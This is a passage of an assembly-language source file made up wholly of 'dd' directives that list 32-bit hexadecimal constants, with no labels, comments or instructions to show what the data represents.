		dd 0B6E2B483h, 806877B2h, 7C060DC0h, 0EED0A0h, 203CFE05h
		dd 796BBFF5h, 3E3F0C00h, 0F9E07B99h, 6149002Eh,	2075F27Dh
		dd 6D3AD7DBh, 21D842h, 0A0B73097h, 2E326Bh, 8946F433h
		dd 0DCB3618Dh, 0F1B4E03h, 0B8FB12A4h, 12132202h, 1C9ACB14h
		dd 8069C048h, 0A61DF4E7h, 41363000h, 0E40FAE10h, 54F00E21h
		dd 367EE25h, 30DA60EDh,	3A00132Dh, 0E543E182h, 1FFCF3Eh
		dd 0AF57D592h, 60D6AD6Bh, 8000F398h, 0DDFD50B1h, 15C3D26h
		dd 3B7B9FD9h, 0E4CECF1Ch, 0B700DB24h, 18D7FD29h, 1C0CA425h
		dd 0C7BA50C5h, 607ACD47h, 0D4C80236h, 3745AD00h, 0FA5A0407h
		dd 802401DBh, 0ACE4753Ch, 7FB6FC9Ah, 21FCFF00h,	0B4CEDE1Ch
		dd 0E36600AAh, 0B589D21Ah, 0AC00166Eh, 3EDC627Ch, 0E08C68A6h
		dd 0BD7E008Ah, 7B564288h, 0FC4878EAh, 0EDCE00A4h, 0F90DA101h
		dd 65B0D4h, 78D60824h, 2FE28B41h, 4D357B0Eh, 519E2047h
		dd 392333h, 93A3B345h, 0C227F6C0h, 1A824800h, 25C515A1h
		dd 7021303Fh, 4F9F761h,	0D80AA402h, 4015A58Eh, 0C8B5BF4h
		dd 6DA6F3F5h, 396F5110h, 1350F30h, 1C3FA4ACh, 3D8329E0h
		dd 1B874D3Dh, 20B7A82Dh, 4006756Eh, 0A7AD6210h,	45DF9F00h
		dd 8D225F77h, 37A9F1A0h, 92E15403h, 5073C66Ch, 38FF6420h
		dd 5D89252Bh, 90A240BBh, 0E67CC52Dh, 3AA41B3Ch,	620CFA8h
		dd 0FDB9BE6h, 5EB55648h, 400A2DE0h, 0BF008B64h,	0E20557FEh
		dd 609C0Ch, 4F2426EEh, 71309AC4h, 0E5792100h, 22948D77h
		dd 0BEA800DAh, 546D8C60h, 1A7C6A96h, 998B1800h,	27ADC7Dh
		dd 0CC5A3E87h, 1234A80Bh, 7E93AB00h, 210064E4h,	0CBD04869h
		dd 0E8ECBDh, 0F8F1265Ah, 568F8375h, 3A0BB100h, 1C6734A9h
		dd 9A3100F6h, 0ADB28E70h, 0AF0083ECh, 0BF7FE529h, 0B4C8BCh
		dd 81B8E2C3h, 0B1F0CD25h, 26A81E00h, 4C7261FCh,	91DCA855h
		dd 903C5038h, 0C1AE3074h, 10DBD7F0h, 46F29F00h,	214AF38Ch
		dd 27E72CADh, 18741326h, 1107299Bh, 40457E88h, 2644DB4Bh
		dd 33C544E8h, 0F92728A0h, 42AF29C8h, 1F24CA52h,	48DC3823h
		dd 0CCA842A3h, 8147CB24h, 0C314E09Bh, 0E200BDDFh, 0BB8C5DB1h
		dd 0EB8EFCh, 0BC45A204h, 0C527B98Ah, 0ACC87D00h, 0DE49A4A3h
		dd 55650E18h, 0D4E0F447h, 3A7D17C2h, 9FF7900h, 8904324Fh
		dd 48BD0FD3h, 0A587BBDFh, 0C01F2F46h, 0F19A95AAh, 7A00E455h
		dd 0C2B5EFCCh, 45FD0Ah,	9E767C2Ah, 49CBE386h, 1E7C2B71h
		dd 0D978D2F4h, 0E0C8AB00h, 514F8838h, 37F700A1h, 6B31941h
		dd 0E90E78F2h, 602C1A04h, 1C20EF2Eh, 0A861E6A2h, 89DAD8h
		dd 0FA8A4877h, 0B06C7CFDh, 60AE1D00h, 522D7819h, 2C30074Ah
		dd 0E0EE518Ch, 25502927h, 55185B00h, 65E68E21h,	0ED091DE1h
		dd 900F58FCh, 10010A51h, 21EBB3D7h, 0D8FFC31Fh,	0A5FC5Bh
		dd 77A6DA4Ch, 4EC5E9FBh, 0F2ACA701h, 0A23749Bh,	0A3E4D4h
		dd 15EF4AA1h, 0E64C9D2Dh, 8080603Ch, 347394D0h,	38F052B3h
		dd 118003F7h, 352B0D21h, 2307A8C7h, 1F2C80B5h, 15AE3B40h
		dd 7A5E2E58h, 2D20074h,	1080F754h, 12718400h, 0AE0873B7h
		dd 5FEE68h, 8891DE69h, 40223843h, 0B18248h, 21A3C211h
		dd 2ED4F6EBh, 1FB93B3Dh, 45818149h, 0F899658Eh,	26718751h
		dd 0D17AB9FCh, 5677F100h, 9814C813h, 0B1702460h, 2490000Eh
		dd 3A84BF7Ch, 0ECF54E00h, 60FB4745h, 0E4A175Bh,	6FE00E30h
		dd 85863184h, 8A5F800Ch, 0CD1D7A4Bh, 4880CBB3h,	42E1DD4Ah
		dd 261B00A6h, 32EB5B9h,	0DE0012D6h, 0C655E7FEh,	15089ECh
		dd 0EAC8C9E0h, 0C8C7E127h, 0B3006219h, 0D63F315Bh, 0B7B633h
		dd 0CF850A97h, 526EAE05h, 0E015FE00h, 0BE3AC0DAh, 5C890054h
		dd 4BE80F17h, 9C0E30EBh, 0A3E34902h, 0F00652C2h, 7A1CE21Eh
		dd 543807B4h, 9DD7226h,	0C5F1CD80h, 0ED000FDFh,	0A89230A9h
		dd 17F5B1Eh, 0A2AE3CD5h, 0F0E948BEh, 347691D4h,	0BA172614h
		dd 18007898h, 82C1B2C4h, 7CE4ACECh, 9890042h, 78DF84FFh
		dd 4EFE981Bh, 6365162Ch, 0B3AD800Ah, 60F7A720h,	12169FF5h
		dd 3307A67Bh, 0BE0710Fh, 3D54A5h, 148C423Fh, 94813095h
		dd 0C7323C0Eh, 0D0FAE567h, 5D4DD280h, 311600A5h, 8890D6C9h
		dd 0E5077B2Ah, 0B192BE1h, 8A29C430h, 0B0410084h, 21FE13AEh
		dd 3D00D5A9h, 42E332F8h, 71ACDF4h, 0E9BD6C25h, 0FCE3FECh
		dd 521C2300h, 0C4000551h, 80780102h, 4CF31h, 40795B42h
		dd 7CFA0A41h, 6768A300h, 2A66CAFh, 0C6471CEEh, 91360BB8h
		dd 0DA98BB00h, 0AE904DF4h, 30AF050Fh, 0FAE1017Dh, 80E08183h
		dd 76410EC6h, 0E5675475h, 942100F9h, 0FA1D7ED4h, 8473BF2h
		dd 0ABE0CFCEh, 7DC34h, 8F79E928h, 5F2D4C95h, 0D2A4B505h
		dd 1420C8E1h, 50712259h, 7B3CCC9h, 0B83E690h, 0EE4400AAh
		dd 0A071208h, 5E2EAFD7h, 36B8DB10h, 0B05F0F59h,	0C980A46Bh
		dd 777CDED8h, 0CA0E1900h, 328FABF9h, 5230082h, 34C7C979h
		dd 0E8FE12E2h, 7FA0A400h, 661F9D67h, 73F03F6h, 0FAC3205h
		dd 0CABE561Dh, 0A2978A40h, 0E0A6644h, 192A5DF3h, 858DE040h
		dd 1200B817h, 0F6079D28h, 3C5CDEh, 2D35B04Eh, 0B84961CAh
		dd 11D37300h, 29A95EE5h, 0AED51FE4h, 68DF005Fh,	2FD9576Eh
		dd 0A500EC75h, 9A34A07Bh, 65A6D2h, 0E2F14854h, 0C105196Dh
		dd 73F3BC00h, 10FA7CC4h, 0A7242511h, 5607CA5Ch,	0D1A669BBh
		dd 5CD302DCh, 3EF15055h, 0EA9C8440h, 35966D00h,	0CC2A5117h
		dd 7B890F1Bh, 632FA8FFh, 3B858380h, 23005F45h, 6D131D8Dh
		dd 1327C1CAh, 0F6FD20h,	11D72B40h, 7D02EFAFh, 72F629Bh
		dd 0B5F84801h, 8366004Eh, 3A542209h, 0B0002771h, 438AFD69h
		dd 26E88D4Fh, 0C4F88D3h, 9F1174BFh, 0D76BC400h,	53720286h
		dd 0F36E0CB3h, 2521BB06h, 0E7052200h, 134FD208h, 0A1E60BCAh
		dd 6E806631h, 0FF3A596Fh, 6932E300h, 0DB4AB141h, 0A478E7h
		dd 0F5A31078h, 0E80B08AFh, 0D90BC00h, 7FB65A68h, 0C95D1DEFh
		dd 0FE090431h, 6F1FC0DDh, 0E3DC3D2h, 0C202007Eh, 9690B15Dh
		dd 30261F92h, 0C0169F79h, 0F737016Ch, 0F13C99B2h, 0FF7709D5h
		dd 493C0038h, 4D80C64h,	0CCC5CEC7h, 0CBF4C0B4h,	0F60473EDh
		dd 36FBCF03h, 1601E085h, 86F3937Fh, 0CE3C1084h,	0CFF4807Eh
		dd 2CB044BAh, 6DB4681Dh, 0A0188898h, 0CD0818D0h, 0F127306Bh
		dd 227EA61Ch, 0FF04503h, 1480D596h, 7DC27632h, 0BB5300BCh
		dd 10468042h, 0AA07CE51h, 2D3C78Dh, 52E6A8D0h, 1571D35h
		dd 0FC4207B4h, 0B0F1379Fh, 69C9FF23h, 63CC3005h, 0B4001A21h
		dd 1DE0928Fh, 0F0BF008Ah, 0EDC6B358h, 0C400ACCAh, 0DFA42D55h
		dd 11980DAh, 0FA3F6217h, 22308B29h, 86150088h, 0D8F0EB8h
		dd 4ACD00B9h, 0FEE6B1AFh, 3417513Bh, 0CD009C73h, 5CD26C29h
		dd 3DB890F5h, 0C9835990h
		dd 0B3BA2DF6h, 0D543E3F8h, 123D1C13h, 4247300h,	7AA4FC54h
		dd 91810310h, 0F9F6AB26h, 0F30E58C0h, 74E72400h, 61750CFDh
		dd 3938010Fh, 0DB371FC0h, 0BEAEEC58h, 868AD507h, 62E78864h
		dd 3E07006Bh, 18FA4EDEh, 0A0F1D20Fh, 3B003FC9h,	1E14E281h
		dd 66DC3h, 0AD4AA5F9h, 13B985C7h, 0BE5CC41Eh, 0B05A528Ah
		dd 0AE037109h, 61676028h, 7F0FF342h, 93DD0078h,	0BBAA9153h
		dd 0E2265808h, 83402C50h, 5E8043h, 0C5F3C85Bh, 5F10348Ch
		dd 829F115h, 805900B0h,	4DAADCC0h, 0AA80066h, 5A1A357Ah
		dd 41009C92h, 0E45414B5h, 4C7F9A74h, 0B90C285Bh, 4A51FFC9h
		dd 0A3673B00h, 0CD953F92h, 6C4D0011h, 0B9E98DF3h, 170989EEh
		dd 1031DBF8h, 30D9CF0h,	6F2FF27h, 0C0F4A470h, 2B5150FCh
		dd 0C4097B19h, 0C9E42310h, 2E39039Dh, 0F8D4129Eh, 0BFF774D8h
		dd 0F1B47D12h, 98106800h, 3C5BBCh, 68E04901h, 3FD8A903h
		dd 29197B0Fh, 2AB0A051h, 0B41B8Bh, 53A752E7h, 5A0FA0C5h
		dd 0A6AA221Eh, 0FF104700h, 0F1466ADh, 0E6DE3612h, 7B756F00h
		dd 0A900529Bh, 607CEF5Ah, 0F6180545h, 5676006Ch, 0D5AE92A8h
		dd 0BC01DDD0h, 0A4852F4Dh, 0BDC855CDh, 92903F0Eh, 0DE66238Fh
		dd 603B51E7h, 1318CC5Bh, 3E505401h, 8ABABD0Bh, 0C8FD7880h
		dd 5D5CE668h, 0A657E00h, 6E5B34Ah, 76361D86h, 56B03EB4h
		dd 8023FBD0h, 7BB5E100h, 94162F6Dh, 0F6870057h,	1D9A6021h
		dd 4AF64751h, 0BF000CB8h, 0E444358Dh, 268EE51Ah, 54E32Dh
		dd 0B2942F47h, 0D703CF17h, 4DE6625Ah, 38EE81AEh, 7013E0ECh
		dd 7AF00C48h, 50F91F9Ah, 65859E00h, 6570CDDh, 0BA7952h
		dd 5F6F04B9h, 86071D3Bh, 9F3F20Eh, 83EC808Ah, 7AA75Dh
		dd 0D1827F01h, 2D645ADh, 80BE1E3Dh, 8535D9E8h, 602CF4D7h
		dd 6C8E057h, 8D00B5B9h,	273220FFh, 2C74E42h, 2F682C60h
		dd 8760E728h, 7903B2D3h, 0E1563D55h, 0A05C80Bh,	991303EBh
		dd 78126717h, 0B30F1114h, 0E3B904A0h, 75808107h, 82EA4Ch
		dd 3F4FCB21h, 739475A5h, 9C60600h, 3146A689h, 0D95E00FCh
		dd 0CE076301h, 9D7123DCh, 19481400h, 0BE392CF8h, 0AF343BE1h
		dd 0DC504F80h, 0BAB24C1Ch, 0ADD44800h, 8F3DA26Dh, 0F74E03C6h
		dd 9E1BFA72h, 0C288E3ABh, 7500660Dh, 32BB862Fh,	68938Fh
		dd 0F49ACBF5h, 4B5E3622h, 94A25604h, 40809EBFh,	7DA2BFCh
		dd 64A07DC6h, 0E0007FA3h, 0CB2FB987h, 0C12F307h, 6F3025D1h
		dd 0E9D6063h, 30A4C5D0h, 0F8F8C12Fh, 0E671673Dh, 37D6C0C3h
		dd 0E43800CEh, 0A3D21B5Ah, 7218387Ch, 1F31D5E8h, 29B600FFh
		dd 5517D810h, 0D203478Fh, 7C1D9CFCh, 0E800C567h, 725E8986h
		dd 0C0E50331h, 0DF61D0D1h, 0C71D401Ch, 0F277C40h, 50A6EEB5h
		dd 70B89Ah, 0EA0CF0DCh,	0B97F2628h, 833BD139h, 693533A8h
		dd 401BC23Eh, 0D28708h,	0E6982412h, 0F5348B7Eh,	19FA781Fh
		dd 572FFDC0h, 7D69Fh, 838E688Ah, 468CE382h, 0BB12F500h
		dd 0CBFE5B3Ah, 0EA43009Ch, 9FBCDC47h, 8A000D9Eh, 0CF860C08h
		dd 73290AA6h, 97DF0F20h, 0F2008007h, 0EE90B75Ch, 0AD62810Fh
		dd 0EAE8E53Ch, 1C39C400h, 8AEBD7h, 335EA452h, 30F9CC8Eh
		dd 4FDB4901h, 0A95CD9D8h, 0E45AE0h, 1A1FC65Eh, 8FAD78A2h
		dd 0C897870Eh, 7C23A1ACh, 90300F9Ah, 1229172Bh,	40CD1F61h
		dd 67EEE80h, 0A307CF20h, 33BFF8ACh, 26837F70h, 0FBC80BD9h
		dd 68818562h, 0EC3E4FA5h, 4105539Ch, 0B3D65E72h, 7BD59C04h
		dd 1E6720C0h, 0F53B0003h, 0A8B0DCC3h, 0BF13A5E4h, 880030FFh
		dd 940FD196h, 7D750F20h, 0F6403411h, 86487ACDh,	9E1CAE00h
		dd 0FC298ABFh, 0ED240017h, 19CC5E9Bh, 4048384Ah, 0C1C70000h
		dd 4EEE859Ah, 0C849006Bh, 0A0841BBFh, 0E007038h, 0B7E8CB67h
		dd 0C3833Ch, 4B769963h,	74D01FA7h, 39712B03h, 90A08DF0h
		dd 110B6C1h, 0CB7EE8CFh, 2480AFACh, 1613B820h, 8C40A89Fh
		dd 0E8BC2052h, 8F993A7Bh, 0AE378502h, 0FEC077A1h, 120E0AD4h
		dd 8149170Fh, 9F454D93h, 0E286EF8h, 3C83792Bh, 580CC9E0h
		dd 6601D26Ah, 0CE0ED3FBh, 1C3024E6h, 959E00AFh,	0B0EA4F3Dh
		dd 80245DBEh, 223B7C47h, 60C74C1Ah, 26A15500h, 0A6EF777Bh
		dd 7E3CD800h, 0C3EDE770h, 884724E9h, 89D981B4h,	257A6178h
		dd 1244E9A0h, 0EF40F522h, 511D5A57h, 9C44CF0Ah,	94909840h
		dd 3F9A9052h, 2203D27Dh, 1D9D4FEEh, 0EBE0CA88h,	9B55CE09h
		dd 0E198001Ah, 4930F331h, 8400A045h, 0FCAA9025h, 0AE0075A7h
		dd 20BF12CFh, 6708C1F7h, 0F06846E7h, 3E989A9Bh,	38441630h
		dd 0AE4C52h, 0E4DEEBEAh, 6BF5D97Ch, 13882F00h, 0AB8B94F1h
		dd 0B4F6070Ah, 0C2C01E74h, 0B1808526h, 0EE251790h, 0E9A6A100h
		dd 6C0605AFh, 403B058Bh, 0C382768Eh, 3EF03694h,	5A13A673h
		dd 0AF005419h, 92E16C14h, 0D5D439AFh, 9FA9B380h, 0D3F7C486h
		dd 720B78E6h, 2784EDE5h, 4EB06224h, 4CB3C8h, 83A1DB74h
		dd 220263CCh, 0B5EB6701h, 69F29111h, 0D9ACA0D6h, 2E9FBA3h
		dd 0F400153h, 0A46075E0h, 3271589Ch, 0AE8FB700h, 0AC397B0Ah
		dd 0F333241Eh, 0D996002Bh, 7ADF68C3h, 9D39500h,	304B5FC8h
		dd 386D7003h, 9180277Fh, 58D6FFE5h, 44488C6Eh, 5CEF0930h
		dd 90280008h, 3E02C468h, 98789845h, 22350F90h, 6E2D95Ah
		dd 0FC60283Bh, 0AF8051A5h, 0AE0C8899h, 0ABFE1601h, 0FBCD9227h
		dd 0A48020h, 0CA6E1D6Dh, 0E0E34E96h, 1869B424h,	1B184680h
		dd 78CD1CBh, 782393F6h,	0BD842095h, 0A5001961h,	4C9BFF29h
		dd 0C03A3C8Bh, 0D1D2CD21h, 2F013177h, 0B497B31Bh, 0BC602A38h
		dd 519049h, 20AD1284h, 0E24A55AEh, 0A0003AE6h, 8B7509F1h
		dd 4C8A04D4h, 5031D2Fh,	5CE23B3Eh, 63E40CF8h, 87412900h
		dd 66B06F17h, 0BCB0189h, 97851E82h, 1CC6F8D5h, 22E3A400h
		dd 99468FFCh, 0C2D015D4h, 0C50084B4h, 31AF3E58h, 0D5096896h
		dd 85276Fh, 0C3EF8DA4h,	19B865h, 504E7D0Dh, 0D5638AD2h
		dd 913B7179h, 0C9003FBh, 0A81453CDh, 26FC4BFEh,	1CBC3057h
		dd 8EA37DBDh, 5193EB82h, 844CE841h, 96F4FF38h, 0DA32021Eh
		dd 282DE879h, 0D9486CC4h, 31B30202h, 6003CF3Bh,	0E0868E50h
		dd 8C620090h, 98808974h, 56027746h, 30E7EA57h, 0AC52E0F7h
		dd 0D77A003Dh, 4E80B220h, 7800874Ah, 412D6105h,	137D6C0Ch
		dd 0A2EF45h, 59A57E7Dh,	6A0228F8h, 0EE3C33CAh, 988C8053h
		dd 5CFFA7C1h, 7E004CC9h, 3E8BCE4Fh, 0D30348A4h,	39DCCD4Ah
		dd 2098837h, 526B00B9h,	4BB0E7Ah, 383BFDFBh, 7F5D804Dh
		dd 8C101C7Ch, 0BE151F22h, 0F43DC0E6h, 70A92B80h, 5C346F26h
		dd 36377B80h, 0B73948h,	2C1A6A2Ah, 0E276233h, 45F43A00h
		dd 7EFE8FABh, 1175E5h, 5788F249h, 0BAD9BEE1h, 5E668100h
		dd 85A9F346h, 0B7E4B4h,	0A31722CBh, 0EDC3A647h,	9034E0h
		dd 0BC0CE172h, 10820AC2h, 5C0103D6h, 0FE0D2959h, 808DD8E1h
		dd 3956FB19h, 1DBC34DFh, 145DE091h, 0FC01D996h,	255A64CEh
		dd 5405F86Ah, 60C83960h, 14A2CD8Ah, 30C2262Dh, 0EE0C343Ch
		dd 8D817B65h, 278CBC00h, 0C2765F86h, 78DB1C34h,	0C7883765h
		dd 6226030Dh, 7F66317Ch, 20FF49h, 0BD36EDBBh, 0D480869Ah
		dd 50F14E18h, 0B797890h, 465B395Ch, 2C58AD00h, 1509C7ACh
		dd 80FB0ACFh, 0EFD4478Ch, 24B51C79h, 21B647A6h,	1C8623CAh
		dd 0C82EFDA1h, 0BD00B1EBh, 8D37D175h, 3D14CB97h, 12807EA7h
		dd 3AF10898h, 99078E9Ch
		dd 0C4E1E8C3h, 7C1EE980h, 35450AD6h, 80EC5CE6h,	34A2BEC0h
		dd 88A16E25h, 830FB2Dh,	96F921ACh, 5B4B00A2h, 0F880C57Eh
		dd 0FC199F27h, 0A0505519h, 0E02807D7h, 20C3BA10h, 3A46CB17h
		dd 0EB6041C7h, 40580941h, 31E51180h, 35BEC6BFh,	0C25CA20Ch
		dd 0C1D70822h, 0BF290221h, 7ADCC428h, 436DB6C2h, 1124973Ah
		dd 7C0683FBh, 5D3FE0A4h, 0D07B8Ah, 0B3775B3Dh, 0FBDE1811h
		dd 51BB7601h, 4489575Fh, 9E80E082h, 0F0906DC9h,	9B0065B6h
		dd 2115E0BEh, 74421939h, 217460BCh, 229BF925h, 0AF73A80Eh
		dd 8E63CFF4h, 0A564A35Ch, 0A0009FCDh, 5A1568h, 231AF7BDh
		dd 0E550EB9Fh, 0E68EFC00h, 0CA0457DDh, 0A02000CCh, 39387BB1h
		dd 98077E4Fh, 76FF5FD9h, 2B8F0650h, 0E72C00A7h,	6F9A927Bh
		dd 0D7A0DD10h, 3E001783h, 30E42EFBh, 404A68h, 0A1369001h
		dd 4B731D57h, 556F2900h, 6093E098h, 165D00DBh, 0E328805Fh
		dd 0D03FE94h, 7E4B96E8h, 55710054h, 2B0E42E5h, 6000051Ch
		dd 0E785DB2Ch, 15B3393h, 6630A189h, 17A048BBh, 0FE6ED1C1h
		dd 139C60F8h, 987310h, 1E7A07CDh, 300CABDh, 5025350Eh
		dd 17966F9h, 0DF825214h, 0E0B89FD8h, 22FC8CD6h,	0F8E8E01Eh
		dd 0C00A1E0Ch, 56390098h, 5EE12163h, 7101AF88h,	0BB674E01h
		dd 808032DCh, 33FD4853h, 0AB14F3CFh, 58DB46Dh, 67D74F9Fh
		dd 0C30C901Fh, 787195Eh, 0CBA8380Bh, 0E9BC072h,	39E8693Eh
		dd 8049D428h, 57A1D0Ch,	6F5F8107h, 45800825h, 8316DA34h
		dd 0A8000E90h, 0CC13AD03h, 0F29E88h, 0C85511D4h, 53304FD0h
		dd 0BCBFAA00h, 6A136642h, 1980009Ah, 9DC12EE6h,	0C21F8AFDh
		dd 0FBC08238h, 8F17FAD2h, 187ECA0h, 84C672ACh, 30119ADBh
		dd 7F301BE6h, 0CA70289Dh, 90B800A1h, 17491CC8h,	0C50750D6h
		dd 0D40647B4h, 88874BB3h, 18FB98FAh, 389CC721h,	0B600D048h
		dd 8D76D11Ch, 0D4298Eh,	413BCB6Eh, 7118BC54h, 6AC92E10h
		dd 3D20083Dh, 0BB810500h, 6EEF6DB5h, 79230175h,	71BEBA33h
		dd 9EF5F063h, 0FB3B4212h, 0C8D74C06h, 4AA83B18h, 43450882h
		dd 6B20A76Eh, 689149Bh,	25ECD8AEh, 0F900B002h, 0A8BA5316h
		dd 128D92Ch, 1AD0C61Ch,	0F82EF1E2h, 0CD30C80Fh,	0B01598F7h
		dd 7FC0077h, 0E2C96F96h, 0D5015F76h, 1C065B7Dh,	0E9D8EAC4h
		dd 0A9FF60F2h, 2DF1D119h, 0D240F860h, 3C8205BDh, 0A12F6DD9h
		dd 28004F43h, 0CC75DF13h, 1DF96B9Fh, 805FF37Ah,	0ACD16EFEh
		dd 0BF395DB7h, 24390117h, 0B54831C3h, 4FA2D0h, 6CB1523h
		dd 7A9A5AF2h, 0EB005878h, 38A59721h, 0DE2A6Ch, 17912F70h
		dd 520E39C2h, 0B7587B00h, 5CEC9B0Fh, 790D716Ah,	44A80051h
		dd 0FFC09686h, 0AE000619h, 7C99EC34h, 0F9FE0Ch,	2637019Eh
		dd 2FEF4E4Bh, 0C480C060h, 510FAEh, 0E2ECA5D0h, 5E25F8CFh
		dd 4C170E0Fh, 0AAB00052h, 5C080118h, 91386EEEh,	0C085D680h
		dd 0C8CF56C3h, 503C9F00h, 0E294FE6Ch, 95F90019h, 632D097Ch
		dd 2779B9C1h, 9FCE6D06h, 4229663Bh, 2FD01116h, 0E04D6B1Fh
		dd 1A8967E8h, 0FA448408h, 51F4615Fh, 25E55E5h, 0FC27102Eh
		dd 0C4F7E388h, 48C35229h, 2BC242F2h, 0CA211724h, 66798859h
		dd 18688820h, 19141B94h, 6A515716h, 38C72980h, 0AEA14514h
		dd 0B4105907h, 9921653Ch, 80D5F1A5h, 0E88EFE8h,	8AA1EE02h
		dd 9036A827h, 3115F959h, 97B04300h, 0A54B6B3Fh,	46290F24h
		dd 7A87CC5Dh, 0CA409010h, 5900F6FCh, 0ADAC9544h, 0B01948h
		dd 1646E2E5h, 3284DB42h, 0F17F5928h, 0E90F18E4h, 0C0AEE660h
		dd 278F0D0Ah, 531300D9h, 4DDC7AB8h, 621C0549h, 0BA40B1h
		dd 23C32A5Eh, 902B702Eh, 896700BEh, 95187A69h, 720ED5CFh
		dd 80606207h, 87E18BE4h, 4E7D9Dh, 634B9144h, 367F66ACh
		dd 324A5E07h, 0D6809BA7h, 0C0CE3E2h, 8A5C732Ch,	0E500E080h
		dd 49EC3676h, 6ADF23Ch,	17C85497h, 1000E9D0h, 0AEFB7CFEh
		dd 21C6CFh, 63F47DB9h, 379C0E5Bh, 3600DE70h, 3D8270D6h
		dd 652092h, 74A09811h, 0E2D442E0h, 41367E07h, 4E40CCDAh
		dd 0B825C4D7h, 50E00FAh, 1A5D2B3Ch, 1118B207h, 2210866Dh
		dd 0AFE07C1h, 0A06A012Ah, 0BBFDF41Bh, 0DFCA750Fh, 62C03CF0h
		dd 31A5ADABh, 87973095h, 73FCCC38h, 5F007A70h, 2A4090FAh
		dd 195DE5Ah, 0CAB1C96Dh, 8A8B2051h, 8C197878h, 81C5DC00h
		dd 7E59C454h, 0A0D2001Ch, 0FFB7288Ch, 0DD003A1Eh, 0C89E14B3h
		dd 0EECD98h, 45BB5DE9h,	4C5B771Fh, 36918501h, 8F2B2789h
		dd 6B42F8h, 1E8E2081h, 7C47565h, 14642D0Ah, 760FE0A3h
		dd 507F40F5h, 5CA5Eh, 2E15CCE4h, 92214EC0h, 1FC23000h
		dd 0F299E2F4h, 0D89A0038h, 692EE1C6h, 0D3077C26h, 7B51A7E3h
		dd 61797512h, 50206003h, 9F7FCAh, 0C42FDD40h, 923742F3h
		dd 34FB4402h, 44DB0610h, 0F4ED001Ch, 2C39525Dh,	5E760C54h
		dd 0C7240890h, 58007828h, 0E6DA4217h, 7F870003h, 7BF08BF8h
		dd 0E200096Ah, 5C8F3FEEh, 3AD614h, 54E34EEAh, 0E6CE3E0Fh
		dd 0AC13A628h, 7CCC4502h, 4048F139h, 4005F360h,	86243717h
		dd 15007190h, 0C89A4ECEh, 0E8265043h, 6E75079Dh, 9095B253h
		dd 8BF99EEDh, 20B1DF00h, 0B74869E1h, 3950787Eh,	0D01ED3A0h
		dd 0A88980C7h, 4C145FE2h, 7DC1EF17h, 0CB8409AAh, 37075174h
		dd 666339F8h, 5FFAE812h, 8B9E0405h, 80541689h, 9A8CF5C6h
		dd 41CA8400h, 0F96503B3h, 6D5A00F3h, 5C76620Bh,	0AF0B17CDh
		dd 80559843h, 0D7C2E483h, 594D0275h, 0A7CF3799h, 0F1971240h
		dd 3DCEBD03h, 0A89F1395h, 319139h, 0F4628876h, 84112CB4h
		dd 8903C600h, 6122C555h, 95D91C9Ch, 2641C040h, 0F2FF052Dh
		dd 0AE001075h, 5F8D2CA2h, 0C17E22h, 2721C98Ch, 931E5390h
		dd 0E3F80A07h, 1C500DB7h, 723DD03h, 9A546847h, 56EA01E0h
		dd 0EB97DC5Ch, 0AFC7A500h, 86696FA2h, 0B63F0521h, 808A345Bh
		dd 0EEE7F468h, 4501777Eh, 8C7C3946h, 370D35Ch, 2B79007Ah
		dd 0F4E1617h, 0C0F330FDh, 6D00A883h, 4185BBA5h,	0DCF76Bh
		dd 0E85BE350h, 43C28BC7h, 0D514D100h, 99D7B3Eh,	65281C49h
		dd 0FC85807Dh, 8BE31F88h, 7F350F00h, 8AA3E7D9h,	57CC0FCBh
		dd 3442F63h, 4019C0EFh,	0F10068BDh, 0E08E25Ah, 0FDC16Ah
		dd 0E07DBE9Fh, 0BD5FBF31h, 0A7923E1Ch, 67406B1Eh, 0B950D245h
		dd 659D00D4h, 98641458h, 560027ABh, 6EDF5EDCh, 9F8597h
		dd 1D78AE1Ah, 8FD9F5E3h, 4A6AC700h, 0E6FDBFCBh,	62AF007Ch
		dd 91A4B105h, 9C004D19h, 8EDC07C1h, 81B4C3h, 8A6F7B22h
		dd 0F5DA934Fh, 0BC1FE303h, 985B808Ch, 4D837h, 2F959BE6h
		dd 0F1DFA060h, 5CB68800h, 0BD2CC0A1h, 0CB4D01CCh, 0FEC833AEh
		dd 0E0E4F4BCh, 96533002h, 403EE6AFh, 6B5470h, 0B7A1118Fh
		dd 0A8B0F545h, 6459FE00h, 0CF4986B4h, 0AE070016h, 0F9BCFC36h
		dd 4703E7E3h, 23F48FD6h, 2198C922h, 1CECD5E4h, 0C0A33E72h
		dd 6859194Ah, 56009A28h, 0B84F558Fh, 3836C7EEh,	0E75C6FB7h
		dd 19C3EB0Eh, 0AF482000h, 973EEDC8h, 0B24603A0h, 7EA5F43h
		dd 7A3DFC10h, 5DF306Dh,	7700B9D1h, 51591BD9h, 0B6BE22h
		dd 52EF83C8h, 0DB613116h, 27995E00h, 9B185B5h, 9D9714D4h
		dd 2B14801Ch, 8D0188A6h, 241A55F6h, 0ED3EC0D2h,	95389673h
		dd 0B5E70044h, 0E3DE9CE4h, 0A1E200C9h, 8712CF7Ah, 0DA7E8238h
		dd 66002F7Ah, 0BE44F5E5h, 184DFF2h, 7B71364h, 8011E6DBh
		dd 9946FF21h, 18D5D75Ch
		dd 1944ABBFh, 9008133h,	1DF7A0B2h, 7BA50Ch, 3DCB5FF8h
		dd 0AE6B2272h, 82CF7C24h, 68D5F000h, 1C48346h, 0D4086F20h
		dd 80FC936Dh, 0DD0CB5C8h, 5BA0973h, 6CF52C76h, 19B401C9h
		dd 435696B6h, 52D7CED5h, 9CA02CFCh, 0BB1ED521h,	0C56A6B00h
		dd 11DE4E33h, 0C24B0046h, 44365B7Fh, 1400D818h,	3891BD55h
		dd 73F298Ah, 56C196D3h,	1944108Bh, 503A3316h, 0D04F94E0h
		dd 0E88100A4h, 0D817EA5Eh, 0E3F61384h, 5708405Dh, 4B32A85h
		dd 58601224h, 9BAF7100h, 67C38Dh, 9EBB0561h, 0BE08976h
		dd 0D194A550h, 0AA585DE2h, 0F8281E28h, 0B1D9E140h, 7C83CB33h
		dd 0AFF001BCh, 0BAADD47Ch, 9224F489h, 34EBC000h, 0E5E0966h
		dd 17F30798h, 80BE77ACh, 33A9B7BDh, 0EBAFD700h,	0BCA59484h
		dd 7A3A057Bh, 0D29E4Ah,	8E653190h, 3B24E7ABh, 0CE00BCE8h
		dd 0D35D3682h, 0C4CC00FDh, 46084B15h, 88004DE5h, 90B89A27h
		dd 1126C5h, 8B9B8E75h, 0E1C2B349h, 0BF28B890h, 311E90DCh
		dd 0CC7B1D7Fh, 3DAEDEA8h, 7B81A00h, 328860h, 398E81EDh
		dd 0A165635Bh, 6ED2550Eh, 0F59E206Fh, 971A64Ch,	4F210D3Eh
